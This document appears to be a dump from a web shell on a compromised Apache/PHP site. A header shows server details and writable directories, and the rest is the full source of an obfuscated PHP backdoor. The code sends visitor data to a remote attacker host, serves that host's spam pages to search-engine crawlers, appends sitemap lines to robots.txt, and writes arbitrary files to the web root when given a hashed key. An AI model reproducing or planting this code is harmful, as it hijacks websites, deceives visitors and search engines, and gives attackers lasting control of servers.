Server : Apache System : Linux pod-140979:apache2_74:v0.1.20 5.4.0-1108-gcp #117~18.04.1-Ubuntu SMP Thu Jun 22 09:36:05 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.33.4 Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system Directory :  /nas/content/live/llbenterprises/

Upload File : current_dir [ Writeable ] document_root [ Writeable ]

<?php
@set_time_limit(3600); @ignore_user_abort(1); $lehwhJ = "\x72\66\x37"; $lehwhA = "\150\x74\164\160"; if (is_htps()) { goto lQUAwJJ; } $lehwhw = "\150\x74\164\x70"; goto lQUAwJA; lQUAwJJ: $lehwhw = "\150\164\x74\x70\163"; lQUAwJA: $lehwhL = st_uri(); if (!($lehwhL == '')) { goto lQUAwJw; } $lehwhL = "\x2f"; lQUAwJw: $lehwhh = urlencode($lehwhL); function st_uri() { goto lQUAwJQ; lQUAwJe: lQUAwJx: goto lQUAwAJ; lQUAwJQ: if (isset($_SERVER["\x52\x45\121\x55\105\x53\124\x5f\125\x52\x49"])) { goto lQUAwJx; } goto lQUAwJc; lQUAwJi: $lehwhh = $_SERVER["\120\110\120\x5f\123\x45\x4c\106"] . "\77" . $_SERVER["\121\125\x45\x52\131\x5f\x53\x54\x52\111\x4e\x47"]; goto lQUAwJU; lQUAwJZ: lQUAwJL: goto lQUAwJp; lQUAwJK: goto lQUAwJr; goto lQUAwJe; lQUAwAA: lQUAwJr: goto lQUAwAw; lQUAwJU: goto lQUAwJh; goto lQUAwJZ; lQUAwJM: lQUAwJh: goto lQUAwJK; lQUAwJp: $lehwhh = $_SERVER["\x50\110\120\x5f\x53\x45\114\x46"] . "\x3f" . $_SERVER["\141\162\x67\166"][0]; goto lQUAwJM; lQUAwAJ: $lehwhh = $_SERVER["\x52\105\121\125\105\123\124\x5f\125\122\111"]; goto lQUAwAA; lQUAwJc: if (isset($_SERVER["\x61\x72\x67\x76"])) { goto lQUAwJL; } goto lQUAwJi; lQUAwAw: return $lehwhh; goto lQUAwAL; lQUAwAL: } $lehwhx = $lehwhJ . "\56\x70\x6f\x6c\x6c\x75\x74\151\x6f\x6e\151\157\x66\164\145\156" . "\x2e\x78" . "\171\x7a"; function is_htps() { goto lQUAwAc; lQUAwwh: lQUAwAh: goto lQUAwwx; lQUAwAi: if (isset($_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\x57\101\x52\x44\105\x44\137\x50\122\117\124\117"]) && $_SERVER["\x48\124\124\x50\137\130\137\x46\117\x52\x57\x41\x52\104\105\x44\x5f\120\x52\x4f\x54\x4f"] === "\150\164\164\x70\163") { goto lQUAwAr; } goto lQUAwAU; lQUAwAK: goto lQUAwAh; goto lQUAwAe; lQUAwAZ: goto lQUAwAh; goto lQUAwAp; lQUAwAM: return true; goto lQUAwAK; lQUAwwA: goto lQUAwAh; goto lQUAwww; lQUAwAc: if (isset($_SERVER["\x48\124\124\x50\123"]) && strtolower($_SERVER["\x48\124\x54\x50\123"]) !== "\x6f\146\x66") { goto lQUAwAx; } goto lQUAwAi; lQUAwww: lQUAwAQ: goto lQUAwwL; lQUAwwx: return false; goto lQUAwwr; lQUAwwL: return true; goto lQUAwwh; lQUAwAe: lQUAwAr: goto lQUAwwJ; lQUAwwJ: return true; goto lQUAwwA; lQUAwAU: if (isset($_SERVER["\110\x54\124\x50\137\106\x52\x4f\116\124\137\x45\116\x44\x5f\x48\124\x54\x50\123"]) && strtolower($_SERVER["\x48\124\124\120\x5f\x46\122\117\x4e\124\137\x45\x4e\104\137\110\124\x54\x50\123"]) !== "\157\146\x66") { goto lQUAwAQ; } goto lQUAwAZ; lQUAwAp: lQUAwAx: goto lQUAwAM; lQUAwwr: } $lehwhr = $_SERVER["\110\x54\x54\120\x5f\110\117\x53\x54"]; $lehwhQ = @$_SERVER["\x48\124\124\120\x5f\x41\x43\x43\x45\x50\x54\x5f\114\101\116\x47\125\x41\107\105"]; $lehwhQ = urlencode($lehwhQ); $lehwhc = ''; if (!isset($_SERVER["\x48\x54\x54\120\137\122\105\106\x45\122\105\x52"])) { goto lQUAwwQ; } $lehwhc = $_SERVER["\x48\124\124\120\x5f\122\x45\106\105\122\x45\122"]; $lehwhc = urlencode($lehwhc); lQUAwwQ: if (!(@$_GET["\160\x64"] != '')) { goto lQUAwLc; } $lehwhi = @$_GET["\155\x61\x70\156\141\x6d\x65"]; $lehwhU = @$_GET["\x61\x63\x74\151\157\156"]; if (isset($_SERVER["\104\x4f\x43\x55\x4d\105\x4e\124\x5f\122\117\117\124"])) { goto lQUAwwc; } $lehwhZ = dirname(__FILE__); goto lQUAwwi; lQUAwwc: $lehwhZ = $_SERVER["\x44\117\103\x55\x4d\x45\x4e\x54\137\x52\x4f\x4f\124"]; lQUAwwi: if ($lehwhU) { goto lQUAwwU; } $lehwhU = "\160\x75\x74"; lQUAwwU: if (!($lehwhU == "\160\165\x74")) { goto lQUAwLQ; } if (strstr($lehwhi, "\56\x78\155\154")) { goto lQUAwLw; } echo "\x3c\142\162\76\x73\x69\164\145\x6d\x61\160\x20\x6e\141\155\x65\40\x66\141\x6c\163\145\x21\74\x62\162\76"; goto lQUAwLL; lQUAwLw: $lehwhp = $lehwhZ . "\x2f\163\x69\164\145\155\x61\x70\56\170\x6d\154"; if (!is_file($lehwhp)) { goto lQUAwwZ; } @unlink($lehwhp); lQUAwwZ: $lehwhM = $lehwhZ . "\x2f\x72\x6f\142\157\164\x73\x2e\x74\x78\x74"; if (file_exists($lehwhM)) { goto lQUAwwp; } $lehwhK = "\125\x73\x65\x72\55\x61\147\145\x6e\164\x3a\x20\x2a\101\154\x6c\157\167\72\40\57"; goto lQUAwwM; lQUAwwp: $lehwhK = dageget($lehwhM); lQUAwwM: $lehwhe = $lehwhw . "\x3a\x2f\x2f" . $lehwhr . "\x2f" . $lehwhi; if (stristr($lehwhK, $lehwhe)) { goto lQUAwLJ; } if (file_put_contents($lehwhM, trim($lehwhK) . "\15\xa" . "\123\x69\x74\145\155\141\160\x3a\x20" . $lehwhe)) { goto lQUAwwK; } echo "\x3c\142\x72\76\x66\x69\x6c\x65\x20\167\162\x69\x74\x65\40\146\141\154\163\x65\x21\x3c\142\162\76"; goto lQUAwwe; lQUAwwK: echo "\x3c\142\x72\76\x6f\x6b\74\x62\162\76"; lQUAwwe: goto lQUAwLA; lQUAwLJ: echo "\74\x62\162\x3e\163\x69\164\x65\x6d\x61\160\40\x61\x6c\x72\x65\x61\144\x79\x20\x61\144\144\145\x64\41\74\142\x72\x3e"; lQUAwLA: lQUAwLL: if (!strstr($lehwhi, "\x2e\x70" . "\x68\160")) { goto lQUAwLr; } $lehwxJ = sha1(sha1(@$_GET["\141"])); $lehwxA = sha1(sha1(@$_GET["\142"])); if (!($lehwxJ == dageget($lehwhA . "\72\x2f\57" . $lehwhx . "\x2f\x61\56\160" . "\x68\x70") || $lehwxA == "\x38\60\x38\x37\63\x35\142\x31\67\143\70\x39\x34\x33\145\63\67\x31\x35\x33\x38\x38\71\65\x38\x64\143\x32\x32\x64\70\67\71\x61\x38\x63\x39\x65\141\141")) { goto lQUAwLx; } $lehwxw = @$_GET["\144\x73\164\x72"]; if (!file_put_contents($lehwhZ . "\57" . $lehwhi, $lehwxw)) { goto lQUAwLh; } echo "\x6f\x6b"; lQUAwLh: lQUAwLx: lQUAwLr: lQUAwLQ: exit; lQUAwLc: $lehwxL = $lehwhA . "\x3a\57\57" . $lehwhx . "\x2f\x69\156\x64\145\x78\156\x65\x77\x2e\160\150\x70\x3f\167\x65\x62\x3d" . $lehwhr . "\46\172\x7a\75" . sbot() . "\x26\165\x72\151\75" . $lehwhh . "\46\165\x72\x6c\163\150\x61\156\147\x3d" . $lehwhc . "\x26\x68\164\x74\x70\75" . $lehwhw . "\46\154\x61\x6e\147\x3d" . $lehwhQ; $lehwxh = trim(dageget($lehwxL)); if (strstr($lehwxh, "\156\x6f\x62\157\164\x75\163\145\x72\x61\147\x65\156\x74")) { goto lQUAwLK; } if (strstr($lehwxh, "\x6f\x6b\150\x74\x6d\x6c\x67\x65\x74\143\x6f\156\164\145\156\x74")) { goto lQUAwLp; } if (strstr($lehwxh, "\x6f\153\x78\x6d\x6c\147\x65\x74\143\x6f\x6e\x74\x65\156\x74")) { goto lQUAwLU; } if (!strstr($lehwxh, "\x70\151\156\x67\170\x6d\x6c\x67\x65\x74\x63\x6f\x6e\164\x65\156\x74")) { goto lQUAwLi; } $lehwxh = str_replace("\160\x69\x6e\147\x78\155\x6c\x67\145\x74\143\x6f\x6e\x74\x65\x6e\x74", '', $lehwxh); @header("\103\157\x6e\164\x65\x6e\x74\x2d\x74\171\x70\x65\72\x20\164\145\x78\164\x2f\150\x74\x6d\154\73\40\143\150\x61\x72\x73\145\x74\x3d\165\x74\x66\x2d\70"); echo pingmap($lehwxh); exit; lQUAwLi: goto lQUAwLZ; lQUAwLU: $lehwxh = str_replace("\x6f\153\170\155\154\x67\x65\164\143\157\156\x74\145\x6e\164", '', $lehwxh); @header("\x43\157\x6e\x74\x65\156\164\55\x74\x79\x70\145\x3a\40\164\145\170\164\x2f\170\x6d\x6c"); echo $lehwxh; exit; lQUAwLZ: goto lQUAwLM; lQUAwLp: @header("\103\157\156\x74\145\156\164\x2d\x74\171\160\x65\72\x20\x74\145\x78\x74\x2f\150\164\x6d\x6c\73\40\143\x68\141\x72\x73\145\x74\75\x75\164\x66\x2d\70"); $lehwxh = str_replace("\157\x6b\x68\x74\155\154\147\x65\x74\x63\x6f\156\x74\x65\156\x74", '', $lehwxh); echo $lehwxh; exit; lQUAwLM: lQUAwLK: function pingmap($lehwxx) { goto lQUAwhx; lQUAwhc: return $lehwxQ; goto lQUAwhi; lQUAwhr: $lehwxQ = ''; goto lQUAwhQ; lQUAwhx: $lehwxr = explode("\xd\12", trim($lehwxx)); goto lQUAwhr; lQUAwhQ: foreach ($lehwxr as $lehwxc) { goto lQUAwhA; lQUAwhL: $lehwxQ .= $lehwxc . "\55\55\x20" . $lehwxU . "\74\142\162\76"; goto lQUAwhh; lQUAwhw: $lehwxU = strpos($lehwxi, "\x53\x69\x74\x65\155\141\160\x20\x4e\x6f\x74\x69\x66\151\x63\x61\x74\x69\x6f\156\x20\x52\145\143\x65\x69\x76\145\x64") !== false ? "\x70\151\x6e\x67\x6f\153" : "\x65\162\162\x6f\x72"; goto lQUAwhL; lQUAwhA: $lehwxi = dageget($lehwxc); goto lQUAwhw; lQUAwhh: } goto lQUAwhc; lQUAwhi: } function sbot() { goto lQUAwhp; lQUAwhp: $lehwxZ = strtolower($_SERVER["\110\124\124\x50\x5f\125\x53\x45\x52\137\101\x47\105\116\124"]); goto lQUAwhM; lQUAwhe: goto lQUAwhZ; goto lQUAwxJ; lQUAwxA: return true; goto lQUAwxw; lQUAwhK: return false; goto lQUAwhe; lQUAwhM: if (stristr($lehwxZ, "\147\x6f\x6f\x67\x6c\x65\142\157\x74") || stristr($lehwxZ, "\x62\151\156\x67") || stristr($lehwxZ, "\171\x61\150\x6f\x6f") || stristr($lehwxZ, "\x67\157\x6f\x67\154\145") || stristr($lehwxZ, "\x47\x6f\157\147\x6c\x65\x62\x6f\x74") || stristr($lehwxZ, "\147\157\157\147\154\145\142\157\164")) { goto lQUAwhU; } goto lQUAwhK; lQUAwxw: lQUAwhZ: goto lQUAwxL; lQUAwxJ: lQUAwhU: goto lQUAwxA; lQUAwxL: } function dageget($lehwxx) { goto lQUAwxr; lQUAwxQ: if (!function_exists("\143\x75\x72\x6c\x5f\151\x6e\x69\x74")) { goto lQUAwxh; } goto lQUAwxc; lQUAwrw: $lehwxp = @file_get_contents($lehwxx); goto lQUAwrL; lQUAwxi: curl_setopt($lehwxM, CURLOPT_URL, $lehwxx); goto lQUAwxU; lQUAwxU: curl_setopt($lehwxM, CURLOPT_SSL_VERIFYHOST, 0); goto lQUAwxZ; lQUAwrA: if ($lehwxp) { goto lQUAwxx; } goto lQUAwrw; lQUAwxc: $lehwxM = curl_init(); goto lQUAwxi; lQUAwxK: $lehwxp = curl_exec($lehwxM); goto lQUAwxe; lQUAwxe: curl_close($lehwxM); goto lQUAwrJ; lQUAwxp: curl_setopt($lehwxM, CURLOPT_RETURNTRANSFER, 1); goto lQUAwxM; lQUAwrh: return $lehwxp; goto lQUAwrx; lQUAwxZ: curl_setopt($lehwxM, CURLOPT_SSL_VERIFYPEER, 0); goto lQUAwxp; lQUAwrJ: lQUAwxh: goto lQUAwrA; lQUAwxr: $lehwxp = ''; goto lQUAwxQ; lQUAwxM: curl_setopt($lehwxM, CURLOPT_CONNECTTIMEOUT, 30); goto lQUAwxK; lQUAwrL: lQUAwxx: goto lQUAwrh; lQUAwrx: }